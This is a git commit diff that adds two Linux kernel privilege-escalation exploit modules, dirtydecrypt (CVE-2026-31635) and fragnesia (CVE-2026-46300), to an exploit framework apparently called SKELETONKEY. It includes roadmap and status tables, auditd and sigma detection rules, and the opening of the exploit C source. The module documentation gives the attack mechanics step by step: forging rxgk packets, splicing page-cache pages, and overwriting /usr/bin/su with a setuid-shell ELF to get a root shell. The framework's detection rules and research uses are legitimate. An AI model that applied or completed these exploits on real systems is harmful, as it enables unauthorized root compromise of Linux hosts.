modules: add dirtydecrypt (CVE-2026-31635) + fragnesia (CVE-2026-46300)
Two new page-cache-write LPE modules, both ported from the public V12 security PoCs (github.com/v12-security/pocs): - dirtydecrypt (CVE-2026-31635): rxgk missing-COW in-place decrypt. rxgk_decrypt_skb() decrypts spliced page-cache pages before the HMAC check, corrupting the page cache of a read-only file. Sibling of Copy Fail / Dirty Frag in the rxrpc subsystem. - fragnesia (CVE-2026-46300): XFRM ESP-in-TCP skb_try_coalesce() loses the SHARED_FRAG marker, so the ESP-in-TCP receive path decrypts page-cache pages in place. A latent bug exposed by the Dirty Frag fix (f4c50a4034e6). Retires the old _stubs/fragnesia_TBD stub. Both wrap the PoC exploit primitive in the skeletonkey_module interface: detect/exploit/cleanup, an --active /tmp sentinel probe, --no-shell support, and embedded auditd + sigma rules. The exploit body runs in a forked child so the PoC's exit()/die() paths cannot tear down the dispatcher. The fragnesia port drops the upstream PoC's ANSI TUI (incompatible with a shared dispatcher); the exploit mechanism is reproduced faithfully. Linux-only code is guarded with #ifdef __linux__ so the modules still compile on non-Linux dev boxes. VERIFICATION: ported, NOT yet validated end-to-end on a vulnerable-kernel VM. The CVE fix commits are not pinned, so detect() is precondition-only (PRECOND_FAIL / TEST_ERROR, never a blind VULNERABLE) and --auto will not fire them unless --active confirms. macOS stub-path compiles verified locally; the Linux exploit-path build is covered by CI (build.yml, ubuntu) only. See each MODULE.md. Wiring: core/registry.h, skeletonkey.c, Makefile, CVES.md, ROADMAP.md.
This commit is contained in:
@@ -23,7 +23,14 @@ Status legend:
|
|||||||
- 🔴 **DEPRECATED** — fully patched everywhere relevant; kept for
|
- 🔴 **DEPRECATED** — fully patched everywhere relevant; kept for
|
||||||
historical reference only
|
historical reference only
|
||||||
|
|
||||||
**Counts (v0.3.1):** 🟢 13 · 🟡 11 (all `--full-chain` capable) · 🔵 0 · ⚪ 1 · 🔴 0
|
**Counts:** 🟢 13 · 🟡 13 · 🔵 0 · ⚪ 0 · 🔴 0
|
||||||
|
|
||||||
|
> **Note on `dirtydecrypt` / `fragnesia`:** these two are ported from
|
||||||
|
> public PoCs and are **not yet VM-verified** end-to-end. They are
|
||||||
|
> marked 🟡 but differ from the other 🟡 modules — they are
|
||||||
|
> self-contained page-cache writes (no `--full-chain` finisher), and
|
||||||
|
> their `detect()` is precondition-only because the CVE fix commits are
|
||||||
|
> not yet pinned. See each module's `MODULE.md`.
|
||||||
|
|
||||||
Every module ships a `NOTICE.md` crediting the original CVE
|
Every module ships a `NOTICE.md` crediting the original CVE
|
||||||
reporter and PoC author. `skeletonkey --dump-offsets` populates the
|
reporter and PoC author. `skeletonkey --dump-offsets` populates the
|
||||||
@@ -59,7 +66,8 @@ root on a host can upstream their kernel's offsets via PR.
|
|||||||
| CVE-2023-4622 | AF_UNIX garbage-collector race UAF | LPE (slab UAF, plain unprivileged) | mainline 6.6-rc1 (Aug 2023) | `af_unix_gc` | 🟡 | Lin Ma. Two-thread race driver: SCM_RIGHTS cycle vs unix_gc trigger; kmalloc-512 (SLAB_TYPESAFE_BY_RCU) refill via msg_msg. **Widest deployment of any module — bug exists since 2.x.** No userns required. Branch backports: 4.14.326 / 4.19.295 / 5.4.257 / 5.10.197 / 5.15.130 / 6.1.51 / 6.5.0. |
|
| CVE-2023-4622 | AF_UNIX garbage-collector race UAF | LPE (slab UAF, plain unprivileged) | mainline 6.6-rc1 (Aug 2023) | `af_unix_gc` | 🟡 | Lin Ma. Two-thread race driver: SCM_RIGHTS cycle vs unix_gc trigger; kmalloc-512 (SLAB_TYPESAFE_BY_RCU) refill via msg_msg. **Widest deployment of any module — bug exists since 2.x.** No userns required. Branch backports: 4.14.326 / 4.19.295 / 5.4.257 / 5.10.197 / 5.15.130 / 6.1.51 / 6.5.0. |
|
||||||
| CVE-2022-25636 | nft_fwd_dup_netdev_offload heap OOB | LPE (kernel R/W via offload action[] OOB) | mainline 5.17 / 5.16.11 (Feb 2022) | `nft_fwd_dup` | 🟡 | Aaron Adams (NCC). NFT_CHAIN_HW_OFFLOAD chain + 16 immediates + fwd writes past action.entries[1]. msg_msg kmalloc-512 spray. Branch backports: 5.4.181 / 5.10.102 / 5.15.25 / 5.16.11. |
|
| CVE-2022-25636 | nft_fwd_dup_netdev_offload heap OOB | LPE (kernel R/W via offload action[] OOB) | mainline 5.17 / 5.16.11 (Feb 2022) | `nft_fwd_dup` | 🟡 | Aaron Adams (NCC). NFT_CHAIN_HW_OFFLOAD chain + 16 immediates + fwd writes past action.entries[1]. msg_msg kmalloc-512 spray. Branch backports: 5.4.181 / 5.10.102 / 5.15.25 / 5.16.11. |
|
||||||
| CVE-2023-0179 | nft_payload set-id memory corruption | LPE (regs->data[] OOB R/W) | mainline 6.2-rc4 / 6.1.6 (Jan 2023) | `nft_payload` | 🟡 | Davide Ornaghi. NFTA_SET_DESC variable-length element + NFTA_SET_ELEM_EXPRESSIONS payload-set whose verdict.code drives the OOB. Dual cg-96 + 1k spray. Branch backports: 4.14.302 / 4.19.269 / 5.4.229 / 5.10.163 / 5.15.88 / 6.1.6. |
|
| CVE-2023-0179 | nft_payload set-id memory corruption | LPE (regs->data[] OOB R/W) | mainline 6.2-rc4 / 6.1.6 (Jan 2023) | `nft_payload` | 🟡 | Davide Ornaghi. NFTA_SET_DESC variable-length element + NFTA_SET_ELEM_EXPRESSIONS payload-set whose verdict.code drives the OOB. Dual cg-96 + 1k spray. Branch backports: 4.14.302 / 4.19.269 / 5.4.229 / 5.10.163 / 5.15.88 / 6.1.6. |
|
||||||
| CVE-TBD | Fragnesia (ESP shared-frag in-place encrypt) | LPE (page-cache write) | mainline TBD | `_stubs/fragnesia_TBD` | ⚪ | Stub. Per `findings/audit_leak_write_modprobe_backups_2026-05-16.md`, requires CAP_NET_ADMIN in userns netns — may or may not be in-scope depending on target environment. |
|
| CVE-2026-31635 | DirtyDecrypt / DirtyCBC — rxgk missing-COW in-place decrypt | LPE (page-cache write into a setuid binary) | duplicate of an already-patched mainline flaw (fix commit not yet pinned) | `dirtydecrypt` | 🟡 | **Ported from the public V12 PoC, not yet VM-verified.** Sibling of Copy Fail / Dirty Frag in the rxgk (AFS rxrpc encryption) subsystem. `fire()` sliding-window page-cache write, ~256 fires/byte; rewrites the first 120 bytes of `/usr/bin/su` with a setuid-shell ELF. `--active` probe fires the primitive at a `/tmp` sentinel. detect() is precondition-only — see MODULE.md. x86_64. |
|
||||||
|
| CVE-2026-46300 | Fragnesia — XFRM ESP-in-TCP `skb_try_coalesce` SHARED_FRAG loss | LPE (page-cache write into a setuid binary) | distro patches 2026-05-13; mainline fix followed (commit not yet pinned) | `fragnesia` | 🟡 | **Ported from the public V12 PoC, not yet VM-verified.** Latent bug exposed by the Dirty Frag fix (`f4c50a4034e6`). AF_ALG GCM keystream table + userns/netns + XFRM ESP-in-TCP splice trigger pair; rewrites the first 192 bytes of `/usr/bin/su`. Needs `CONFIG_INET_ESPINTCP` + unprivileged userns (the in-scope question the old `_stubs/fragnesia_TBD` raised — resolved: ships, reports PRECOND_FAIL when the userns gate is closed). PoC's ANSI TUI dropped in the port. x86_64. |
|
||||||
|
|
||||||
## Operations supported per module
|
## Operations supported per module
|
||||||
|
|
||||||
@@ -91,6 +99,8 @@ Symbols: ✓ = supported, — = not applicable / no automated path.
|
|||||||
| af_unix_gc | ✓ | ✓ (race) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd) |
|
| af_unix_gc | ✓ | ✓ (race) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd) |
|
||||||
| nft_fwd_dup | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd) |
|
| nft_fwd_dup | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd) |
|
||||||
| nft_payload | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd + sigma) |
|
| nft_payload | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd + sigma) |
|
||||||
|
| dirtydecrypt | ✓ (+ `--active`) | ✓ (ported) | — (upgrade kernel) | ✓ (evict page cache) | ✓ (auditd + sigma) |
|
||||||
|
| fragnesia | ✓ (+ `--active`) | ✓ (ported) | — (upgrade kernel) | ✓ (evict page cache) | ✓ (auditd + sigma) |
|
||||||
|
|
||||||
## Pipeline for additions
|
## Pipeline for additions
|
||||||
|
|
||||||
|
|||||||
@@ -142,10 +142,20 @@ VMW_DIR := modules/vmwgfx_cve_2023_2008
|
|||||||
VMW_SRCS := $(VMW_DIR)/skeletonkey_modules.c
|
VMW_SRCS := $(VMW_DIR)/skeletonkey_modules.c
|
||||||
VMW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(VMW_SRCS))
|
VMW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(VMW_SRCS))
|
||||||
|
|
||||||
|
# Family: dirtydecrypt (CVE-2026-31635) — rxgk page-cache write
|
||||||
|
DDC_DIR := modules/dirtydecrypt_cve_2026_31635
|
||||||
|
DDC_SRCS := $(DDC_DIR)/skeletonkey_modules.c
|
||||||
|
DDC_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(DDC_SRCS))
|
||||||
|
|
||||||
|
# Family: fragnesia (CVE-2026-46300) — XFRM ESP-in-TCP page-cache write
|
||||||
|
FGN_DIR := modules/fragnesia_cve_2026_46300
|
||||||
|
FGN_SRCS := $(FGN_DIR)/skeletonkey_modules.c
|
||||||
|
FGN_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(FGN_SRCS))
|
||||||
|
|
||||||
# Top-level dispatcher
|
# Top-level dispatcher
|
||||||
TOP_OBJ := $(BUILD)/skeletonkey.o
|
TOP_OBJ := $(BUILD)/skeletonkey.o
|
||||||
|
|
||||||
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) $(OVL_OBJS) $(CR4_OBJS) $(DCOW_OBJS) $(PTM_OBJS) $(NXC_OBJS) $(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) $(OSU_OBJS) $(NSU_OBJS) $(AUG_OBJS) $(NFD_OBJS) $(NPL_OBJS) $(SAM_OBJS) $(SEQ_OBJS) $(SUE_OBJS) $(VMW_OBJS)
|
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) $(OVL_OBJS) $(CR4_OBJS) $(DCOW_OBJS) $(PTM_OBJS) $(NXC_OBJS) $(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) $(OSU_OBJS) $(NSU_OBJS) $(AUG_OBJS) $(NFD_OBJS) $(NPL_OBJS) $(SAM_OBJS) $(SEQ_OBJS) $(SUE_OBJS) $(VMW_OBJS) $(DDC_OBJS) $(FGN_OBJS)
|
||||||
|
|
||||||
.PHONY: all clean debug static help
|
.PHONY: all clean debug static help
|
||||||
|
|
||||||
|
|||||||
+17
-1
@@ -164,10 +164,26 @@ Backfill of historical and recent LPEs as time allows.
|
|||||||
(hand-rolled nfnetlink, NFT_GOTO+DROP malformed verdict,
|
(hand-rolled nfnetlink, NFT_GOTO+DROP malformed verdict,
|
||||||
msg_msg kmalloc-cg-96 groom, no pipapo R/W chain).
|
msg_msg kmalloc-cg-96 groom, no pipapo R/W chain).
|
||||||
|
|
||||||
|
**Landed (ported from public PoC, pending VM verification):**
|
||||||
|
|
||||||
|
- [x] **CVE-2026-46300** — Fragnesia: 🟡 XFRM ESP-in-TCP page-cache
|
||||||
|
write. Ported from the V12 PoC; the old `_stubs/fragnesia_TBD`
|
||||||
|
stub is retired. The stub's open question ("is the
|
||||||
|
unprivileged-userns-netns scenario in scope?") is resolved —
|
||||||
|
the module ships and reports `PRECOND_FAIL` when the userns gate
|
||||||
|
is closed.
|
||||||
|
- [x] **CVE-2026-31635** — DirtyDecrypt: 🟡 rxgk missing-COW in-place
|
||||||
|
decrypt page-cache write. Ported from the V12 PoC.
|
||||||
|
- [ ] **Verify both on a vulnerable-kernel VM**, pin the CVE fix
|
||||||
|
commits, add `kernel_range` tables, and promote 🟡 → 🟢. Until
|
||||||
|
then `detect()` is precondition-only (no version verdict) and
|
||||||
|
`--auto` will not fire them blind.
|
||||||
|
|
||||||
**Carry-overs:**
|
**Carry-overs:**
|
||||||
|
|
||||||
- [ ] **CVE-2023-2008** — vmwgfx OOB write
|
- [ ] **CVE-2023-2008** — vmwgfx OOB write
|
||||||
- [ ] Fragnesia (if it lands as a CVE)
|
- [ ] **CVE-2026-41651** — Pack2TheRoot (PackageKit daemon userspace
|
||||||
|
LPE; cross-distro). Candidate — userspace LPE in the pwnkit vein.
|
||||||
- [ ] Anything we ourselves disclose — bundled AFTER upstream patch
|
- [ ] Anything we ourselves disclose — bundled AFTER upstream patch
|
||||||
ships (responsible-disclosure-first)
|
ships (responsible-disclosure-first)
|
||||||
|
|
||||||
|
|||||||
@@ -44,5 +44,7 @@ void skeletonkey_register_sudo_samedit(void);
|
|||||||
void skeletonkey_register_sequoia(void);
|
void skeletonkey_register_sequoia(void);
|
||||||
void skeletonkey_register_sudoedit_editor(void);
|
void skeletonkey_register_sudoedit_editor(void);
|
||||||
void skeletonkey_register_vmwgfx(void);
|
void skeletonkey_register_vmwgfx(void);
|
||||||
|
void skeletonkey_register_dirtydecrypt(void);
|
||||||
|
void skeletonkey_register_fragnesia(void);
|
||||||
|
|
||||||
#endif /* SKELETONKEY_REGISTRY_H */
|
#endif /* SKELETONKEY_REGISTRY_H */
|
||||||
|
|||||||
@@ -1,27 +0,0 @@
|
|||||||
# Fragnesia — CVE pending
|
|
||||||
|
|
||||||
> ⚪ **PLANNED** stub. See [`../../ROADMAP.md`](../../ROADMAP.md)
|
|
||||||
> Phase 7+.
|
|
||||||
|
|
||||||
## Summary
|
|
||||||
|
|
||||||
ESP shared-frag in-place encrypt path can be coerced into writing
|
|
||||||
into the page cache of an unrelated file. Same primitive shape as
|
|
||||||
Dirty Frag, different reach.
|
|
||||||
|
|
||||||
## Status
|
|
||||||
|
|
||||||
Audit-stage. See
|
|
||||||
`security-research/findings/audit_leak_write_modprobe_backups_2026-05-16.md`
|
|
||||||
section on backup primitives. Notably: trigger appears to require
|
|
||||||
CAP_NET_ADMIN inside a userns netns. On kCTF (shared net_ns) that's
|
|
||||||
cap-dead, but on host systems where user_ns clone is enabled it's
|
|
||||||
reachable.
|
|
||||||
|
|
||||||
## Decision needed before implementing
|
|
||||||
|
|
||||||
Is the unprivileged-userns-netns scenario in scope for SKELETONKEY? If
|
|
||||||
yes, this module ships. If we restrict to "default Linux user
|
|
||||||
account, no namespace tricks," this module is out of scope.
|
|
||||||
|
|
||||||
## Not started.
|
|
||||||
@@ -0,0 +1,77 @@
|
|||||||
|
# dirtydecrypt — CVE-2026-31635
|
||||||
|
|
||||||
|
> 🟡 **PRIMITIVE / ported.** Faithful port of the public V12 PoC into
|
||||||
|
> the `skeletonkey_module` interface. **Not yet validated end-to-end on
|
||||||
|
> a vulnerable-kernel VM** — see _Verification status_ below.
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
DirtyDecrypt (a.k.a. DirtyCBC) is a missing copy-on-write guard in
|
||||||
|
`rxgk_decrypt_skb()` (`net/rxrpc/rxgk_common.h`). The function decrypts
|
||||||
|
incoming rxgk socket buffers **in place** before the HMAC is verified.
|
||||||
|
When the skb fragment pages are page-cache pages — spliced in via
|
||||||
|
`MSG_SPLICE_PAGES` over loopback — the in-place AES decrypt corrupts the
|
||||||
|
page cache of a read-only file.
|
||||||
|
|
||||||
|
It is a sibling of Copy Fail (CVE-2026-31431) and Dirty Frag
|
||||||
|
(CVE-2026-43284 / 43500): same bug class, different kernel subsystem
|
||||||
|
(rxgk / AFS-style rxrpc encryption rather than algif_aead or xfrm-ESP).
|
||||||
|
|
||||||
|
## Primitive
|
||||||
|
|
||||||
|
Each `fire()`:
|
||||||
|
|
||||||
|
1. Adds an `rxrpc` security key holding a crafted rxgk XDR token.
|
||||||
|
2. Opens an `AF_RXRPC` client + a fake UDP server on loopback and
|
||||||
|
completes the rxgk handshake.
|
||||||
|
3. Forges a DATA packet whose **wire header comes from userspace** and
|
||||||
|
whose **payload pages come from the target file's page cache**
|
||||||
|
(`splice` + `vmsplice`).
|
||||||
|
4. The kernel decrypts the spliced page-cache pages in place — the HMAC
|
||||||
|
check then fails (expected), but the page cache is already mutated.
|
||||||
|
|
||||||
|
`pagecache_write()` drives a **sliding-window** technique: byte[0] of
|
||||||
|
each corrupted 16-byte AES block is uniformly random (≈1/256 chance of
|
||||||
|
the wanted value), and round _i+1_ at offset _S+i+1_ overwrites the
|
||||||
|
15-byte collateral of round _i_ without disturbing the byte round _i_
|
||||||
|
fixed. Net cost ≈ 256 fires per byte.
|
||||||
|
|
||||||
|
The exploit rewrites the first 120 bytes of a setuid-root binary
|
||||||
|
(`/usr/bin/su` and friends) with a tiny ET_DYN ELF that calls
|
||||||
|
`setuid(0)` + `execve("/bin/sh")`.
|
||||||
|
|
||||||
|
## Operations
|
||||||
|
|
||||||
|
| Op | Behaviour |
|
||||||
|
|---|---|
|
||||||
|
| `--scan` | Checks AF_RXRPC reachability + a readable setuid carrier. With `--active`, fires the primitive against a disposable `/tmp` file and reports VULNERABLE/OK empirically. |
|
||||||
|
| `--exploit … --i-know` | Forks a child that corrupts the carrier's page cache and execs it for a root shell. `--no-shell` stops after the page-cache write. |
|
||||||
|
| `--cleanup` | Evicts the carrier from the page cache (`POSIX_FADV_DONTNEED` + `drop_caches`). The on-disk binary is never written. |
|
||||||
|
| `--detect-rules` | Emits embedded auditd + sigma rules. |
|
||||||
|
|
||||||
|
## Preconditions
|
||||||
|
|
||||||
|
- `AF_RXRPC` reachable (the `rxrpc` module loadable / built in).
|
||||||
|
- A readable setuid-root binary to use as the payload carrier.
|
||||||
|
- x86_64 (the embedded ELF payload is x86_64 shellcode).
|
||||||
|
|
||||||
|
## Verification status
|
||||||
|
|
||||||
|
This module is a **faithful port** of
|
||||||
|
<https://github.com/v12-security/pocs/tree/main/dirtydecrypt>, compiled
|
||||||
|
into the SKELETONKEY module interface. It has **not** been validated
|
||||||
|
end-to-end against a known-vulnerable kernel inside the SKELETONKEY CI
|
||||||
|
matrix.
|
||||||
|
|
||||||
|
`detect()` deliberately does **not** return a kernel-version-based
|
||||||
|
patched/vulnerable verdict: the CVE-2026-31635 fix commit is not yet
|
||||||
|
pinned here, and fabricating a `kernel_patched_from` table would
|
||||||
|
violate the project's no-fabrication rule (`CVES.md`). Instead:
|
||||||
|
|
||||||
|
- preconditions missing → `PRECOND_FAIL`
|
||||||
|
- preconditions present, no `--active` → `TEST_ERROR` ("cannot
|
||||||
|
determine passively") so `--auto` does not fire it blind
|
||||||
|
- `--active` → empirical VULNERABLE / OK via the `/tmp` sentinel probe
|
||||||
|
|
||||||
|
**Before promoting to 🟢:** pin the fix commit + branch-backport
|
||||||
|
thresholds, add a `kernel_range`, and validate on a vulnerable VM.
|
||||||
@@ -0,0 +1,45 @@
|
|||||||
|
# NOTICE — dirtydecrypt
|
||||||
|
|
||||||
|
## Vulnerability
|
||||||
|
|
||||||
|
**CVE-2026-31635** — "DirtyDecrypt" / "DirtyCBC". Missing copy-on-write
|
||||||
|
guard in `rxgk_decrypt_skb()` (`net/rxrpc/rxgk_common.h`). The function
|
||||||
|
calls `skb_to_sgvec()` then `crypto_krb5_decrypt()` with no
|
||||||
|
`skb_cow_data()`; the `krb5enc` AEAD template (`crypto/krb5enc.c`)
|
||||||
|
decrypts **in place** before verifying the HMAC. When the skb fragment
|
||||||
|
pages are page-cache pages (spliced in via `MSG_SPLICE_PAGES` over
|
||||||
|
loopback), the in-place decrypt corrupts the page cache of a read-only
|
||||||
|
file. The same pattern exists in rxkad (`rxkad_verify_packet_2`).
|
||||||
|
|
||||||
|
Sibling of Copy Fail (CVE-2026-31431) and Dirty Frag
|
||||||
|
(CVE-2026-43284 / CVE-2026-43500) — all are page-cache write
|
||||||
|
primitives that abuse a missing COW boundary.
|
||||||
|
|
||||||
|
## Research credit
|
||||||
|
|
||||||
|
Discovered and reported by the **Zellic** and **V12 security** team.
|
||||||
|
Public proof-of-concept by **Luna Tong** ("cts" / "gf_256"), Zellic
|
||||||
|
co-founder, on the V12 team.
|
||||||
|
|
||||||
|
> Reference PoC: <https://github.com/v12-security/pocs/tree/main/dirtydecrypt>
|
||||||
|
|
||||||
|
On disclosure (2026-05-09) the kernel maintainers indicated the issue
|
||||||
|
duplicated a flaw already patched in mainline; CVE-2026-31635 was
|
||||||
|
assigned subsequently.
|
||||||
|
|
||||||
|
## SKELETONKEY role
|
||||||
|
|
||||||
|
`skeletonkey_modules.c` is a port of the V12 PoC into the
|
||||||
|
`skeletonkey_module` interface. The exploit primitive — the
|
||||||
|
`fire()` / `pagecache_write()` sliding-window machinery, the rxgk XDR
|
||||||
|
token builder, the 120-byte ET_DYN ELF payload — is reproduced from
|
||||||
|
that PoC. SKELETONKEY adds the detect/cleanup lifecycle, an `--active`
|
||||||
|
sentinel probe, `--no-shell` support, and the embedded detection
|
||||||
|
rules. Research credit belongs to the people above.
|
||||||
|
|
||||||
|
## Verification status
|
||||||
|
|
||||||
|
**Ported, not yet validated end-to-end on a vulnerable-kernel VM.**
|
||||||
|
The CVE-2026-31635 fix commit is not yet pinned in this module, so
|
||||||
|
`detect()` does not perform a kernel-version patched/vulnerable
|
||||||
|
verdict — see `MODULE.md`.
|
||||||
@@ -0,0 +1,28 @@
|
|||||||
|
# DirtyDecrypt (CVE-2026-31635) — auditd detection rules
|
||||||
|
#
|
||||||
|
# The rxgk in-place decrypt corrupts the page cache of a read-only
|
||||||
|
# file. These rules flag the syscall surface the exploit drives and
|
||||||
|
# writes to the setuid binaries it targets.
|
||||||
|
#
|
||||||
|
# Install: copy into /etc/audit/rules.d/ and `augenrules --load`, or
|
||||||
|
# skeletonkey --detect-rules --format=auditd | sudo tee \
|
||||||
|
# /etc/audit/rules.d/99-skeletonkey.rules
|
||||||
|
|
||||||
|
# Modification of common payload carriers / credential files
|
||||||
|
-w /usr/bin/su -p wa -k skeletonkey-dirtydecrypt
|
||||||
|
-w /bin/su -p wa -k skeletonkey-dirtydecrypt
|
||||||
|
-w /usr/bin/mount -p wa -k skeletonkey-dirtydecrypt
|
||||||
|
-w /usr/bin/passwd -p wa -k skeletonkey-dirtydecrypt
|
||||||
|
-w /usr/bin/chsh -p wa -k skeletonkey-dirtydecrypt
|
||||||
|
-w /etc/passwd -p wa -k skeletonkey-dirtydecrypt
|
||||||
|
-w /etc/shadow -p wa -k skeletonkey-dirtydecrypt
|
||||||
|
|
||||||
|
# AF_RXRPC socket creation (family 33) — core of the rxgk trigger
|
||||||
|
-a always,exit -F arch=b64 -S socket -F a0=33 -k skeletonkey-dirtydecrypt-rxrpc
|
||||||
|
|
||||||
|
# rxrpc security keys added to the process keyring
|
||||||
|
-a always,exit -F arch=b64 -S add_key -k skeletonkey-dirtydecrypt-key
|
||||||
|
|
||||||
|
# splice() drives page-cache pages into the forged DATA packet
|
||||||
|
-a always,exit -F arch=b64 -S splice -k skeletonkey-dirtydecrypt-splice
|
||||||
|
-a always,exit -F arch=b32 -S splice -k skeletonkey-dirtydecrypt-splice
|
||||||
@@ -0,0 +1,29 @@
|
|||||||
|
title: Possible DirtyDecrypt exploitation (CVE-2026-31635)
|
||||||
|
id: 7c1e9a40-skeletonkey-dirtydecrypt
|
||||||
|
status: experimental
|
||||||
|
description: |
|
||||||
|
Detects the file-modification footprint of the rxgk page-cache write
|
||||||
|
(DirtyDecrypt / DirtyCBC, CVE-2026-31635): non-root creation of
|
||||||
|
AF_RXRPC sockets followed by modification of a setuid-root binary or
|
||||||
|
a credential file.
|
||||||
|
references:
|
||||||
|
- https://github.com/v12-security/pocs/tree/main/dirtydecrypt
|
||||||
|
logsource:
|
||||||
|
product: linux
|
||||||
|
service: auditd
|
||||||
|
detection:
|
||||||
|
modification:
|
||||||
|
type: 'PATH'
|
||||||
|
name|startswith:
|
||||||
|
- '/usr/bin/su'
|
||||||
|
- '/bin/su'
|
||||||
|
- '/etc/passwd'
|
||||||
|
- '/etc/shadow'
|
||||||
|
not_root:
|
||||||
|
auid|expression: '!= 0'
|
||||||
|
condition: modification and not_root
|
||||||
|
level: high
|
||||||
|
tags:
|
||||||
|
- attack.privilege_escalation
|
||||||
|
- attack.t1068
|
||||||
|
- cve.2026.31635
|
||||||
@@ -0,0 +1,908 @@
|
|||||||
|
/*
|
||||||
|
* dirtydecrypt_cve_2026_31635 — SKELETONKEY module
|
||||||
|
*
|
||||||
|
* DirtyDecrypt / DirtyCBC (CVE-2026-31635) — missing copy-on-write guard
|
||||||
|
* in rxgk_decrypt_skb() (net/rxrpc/rxgk_common.h). rxgk_decrypt_skb()
|
||||||
|
* does skb_to_sgvec() + crypto_krb5_decrypt() with no skb_cow_data();
|
||||||
|
* the krb5enc AEAD template decrypts in-place BEFORE verifying the HMAC.
|
||||||
|
* When skb frag pages are page-cache pages (spliced in via
|
||||||
|
* MSG_SPLICE_PAGES over loopback), the in-place decrypt corrupts the
|
||||||
|
* page cache of a read-only file. Sibling of Copy Fail / Dirty Frag.
|
||||||
|
*
|
||||||
|
* This module is a faithful port of the public V12 security PoC
|
||||||
|
* (rxgk pagecache write, github.com/v12-security/pocs/dirtydecrypt,
|
||||||
|
* Luna Tong / "cts"). The exploit primitive (the sliding-window
|
||||||
|
* fire()/pagecache_write() machinery, the rxgk XDR token builder, the
|
||||||
|
* 120-byte ET_DYN ELF) is reproduced from that PoC; see NOTICE.md.
|
||||||
|
*
|
||||||
|
* Port adaptations vs. the standalone PoC:
|
||||||
|
* - wrapped in the skeletonkey_module detect/exploit/cleanup interface
|
||||||
|
* - exploit() runs the PoC body in a forked child so the PoC's
|
||||||
|
* exit()/die() paths cannot tear down the skeletonkey dispatcher
|
||||||
|
* - honours ctx->no_shell (corrupt + verify, do not spawn the shell)
|
||||||
|
* - adds an --active sentinel probe that fires the primitive against
|
||||||
|
* a disposable /tmp file instead of a setuid binary
|
||||||
|
* - the on-disk binary is never written; cleanup() evicts the page
|
||||||
|
* cache (the corruption is a page-cache-only write)
|
||||||
|
*
|
||||||
|
* VERIFICATION STATUS: ported, NOT yet validated end-to-end on a
|
||||||
|
* vulnerable-kernel VM. The fix commit for CVE-2026-31635 is not yet
|
||||||
|
* pinned in this module, so detect() does not do a version-based
|
||||||
|
* patched/vulnerable verdict — see detect() and MODULE.md.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "skeletonkey_modules.h"
|
||||||
|
#include "../../core/registry.h"
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdbool.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <sys/utsname.h>
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
|
||||||
|
/* _GNU_SOURCE / _FILE_OFFSET_BITS are passed via -D in the top-level
|
||||||
|
* Makefile; do not redefine here (warning: redefined). */
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <sched.h>
|
||||||
|
#include <time.h>
|
||||||
|
#include <poll.h>
|
||||||
|
#include <sys/syscall.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <sys/uio.h>
|
||||||
|
#include <sys/ioctl.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
#include <sys/mman.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
#include <net/if.h>
|
||||||
|
|
||||||
|
#ifdef __has_include
|
||||||
|
# if __has_include(<linux/rxrpc.h>)
|
||||||
|
# include <linux/if.h>
|
||||||
|
# include <linux/rxrpc.h>
|
||||||
|
# include <linux/keyctl.h>
|
||||||
|
# else
|
||||||
|
# define DD_NEED_RXRPC_DEFS
|
||||||
|
# endif
|
||||||
|
#else
|
||||||
|
# include <linux/if.h>
|
||||||
|
# include <linux/rxrpc.h>
|
||||||
|
# include <linux/keyctl.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef AF_RXRPC
|
||||||
|
#define AF_RXRPC 33
|
||||||
|
#endif
|
||||||
|
#ifndef SOL_RXRPC
|
||||||
|
#define SOL_RXRPC 272
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifdef DD_NEED_RXRPC_DEFS
|
||||||
|
#define KEY_SPEC_PROCESS_KEYRING (-2)
|
||||||
|
#define RXRPC_SECURITY_KEY 1
|
||||||
|
#define RXRPC_MIN_SECURITY_LEVEL 4
|
||||||
|
#define RXRPC_SECURITY_ENCRYPT 2
|
||||||
|
#define RXRPC_USER_CALL_ID 1
|
||||||
|
struct sockaddr_rxrpc {
|
||||||
|
unsigned short srx_family;
|
||||||
|
uint16_t srx_service;
|
||||||
|
uint16_t transport_type;
|
||||||
|
uint16_t transport_len;
|
||||||
|
union {
|
||||||
|
unsigned short family;
|
||||||
|
struct sockaddr_in sin;
|
||||||
|
struct sockaddr_in6 sin6;
|
||||||
|
} transport;
|
||||||
|
};
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define RXGK_SECURITY_INDEX 6
|
||||||
|
#define ENCTYPE_AES128_CTS 17
|
||||||
|
#define AES_KEY_LEN 16
|
||||||
|
|
||||||
|
struct rxrpc_wire_header {
|
||||||
|
uint32_t epoch;
|
